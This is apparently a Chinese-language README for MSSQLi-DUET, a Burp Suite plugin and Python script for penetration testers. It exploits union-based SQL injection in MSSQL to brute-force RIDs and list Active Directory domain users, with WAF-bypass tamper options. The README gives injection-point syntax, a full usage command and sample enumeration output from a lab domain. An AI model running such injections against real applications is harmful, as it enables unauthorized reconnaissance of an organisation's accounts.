用于MSSQL的SQL注入脚本,通过RID暴力破解从Active Directory环境中提取域用户。支持通过实现SQLmap的tamper函数来实施多种WAF绕过技术。用户可根据具体情况和环境自行添加更多的tamper函数。
提供两种版本:适合终端使用的直接Python脚本,或适合简单GUI导航的Burp Suite插件。
目前仅支持联合查询注入。需要更多样本和测试用例才能充分测试工具的功能和准确性。如果您遇到工具无法正常工作的场景,非常欢迎提出反馈和建议。
根据您的需求定制脚本和插件也并不困难。请务必阅读“注意事项”部分以解决一些常见问题。
将插件加载到Burp Suite后,右键点击一个请求并发送到MSSQLi-DUET。参数等更多细节如下所述。
请求将自动填充到请求窗口中,只需填写上方的字段。点击运行后,输出结果将放置在结果输出框中,方便复制粘贴。
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
[-o OUTFILE] -r REQUEST_FILE
MSSQLi-DUET - MSSQL(注入型)域用户枚举工具
可选参数:
-h, --help 显示此帮助信息并退出
-i INJECTION, --injection INJECTION
注入点。仅提供逃逸查询所需的数据。
-e ENCODING, --encoding ENCODING
编码类型:unicode, doubleencode, unmagicquotes
-t TIME_DELAY, --time_delay TIME_DELAY
请求的时间延迟。
-rid RID_RANGE, --rid_range RID_RANGE
要暴力破解的RID范围,用连字符分隔。例如:1000-1200
-ssl SSL, --ssl SSL 添加HTTPS标志
-p PARAMETER, --parameter PARAMETER
易受攻击的参数
-proxy PROXY, --proxy PROXY
代理连接字符串。例如:127.0.0.1:8080
-o OUTFILE, --outfile OUTFILE
用户枚举结果输出文件。
-r REQUEST_FILE, --request_file REQUEST_FILE
Burp保存的原始请求文件
准备被枚举吧!
在应用程序中识别出基于联合查询的SQL注入后,使用Burp Suite的'copy to file'功能复制原始请求。
使用-r标志将保存的请求传递给DUET。指定易受攻击的参数以及注入点。例如,如果参数"element"易受SQL注入攻击,则-p为"element"。DUET将自动构建所有SQL注入查询,但需要提供初始注入点的规格。也就是说,如果注入是由于参数数据后的单引号引起的,那么这将是-i参数指定的内容。
示例:test'
test'))
test")"
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded
[+] Determining the number of columns in the table...
[!] Number of columns is 3
[+] Determining column type...
[!] Column type is null
[+] Discovering domain name...
[+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-
[+] Enumerating Active Directory via SIDs...
NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql
脚本可能需要根据所发现列的类型限制进行修改。
这些修改包括切换有效载荷的列位置,以及修改查询字符串本身以应对不会产生错误的列类型。
此外,当前用于确定列数的逻辑并非最佳,可能需要注释掉某些比较项以确保正确判断。
总体而言,只需查看Burp中发送的请求,并根据您遇到的SQL注入环境调整脚本即可。
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/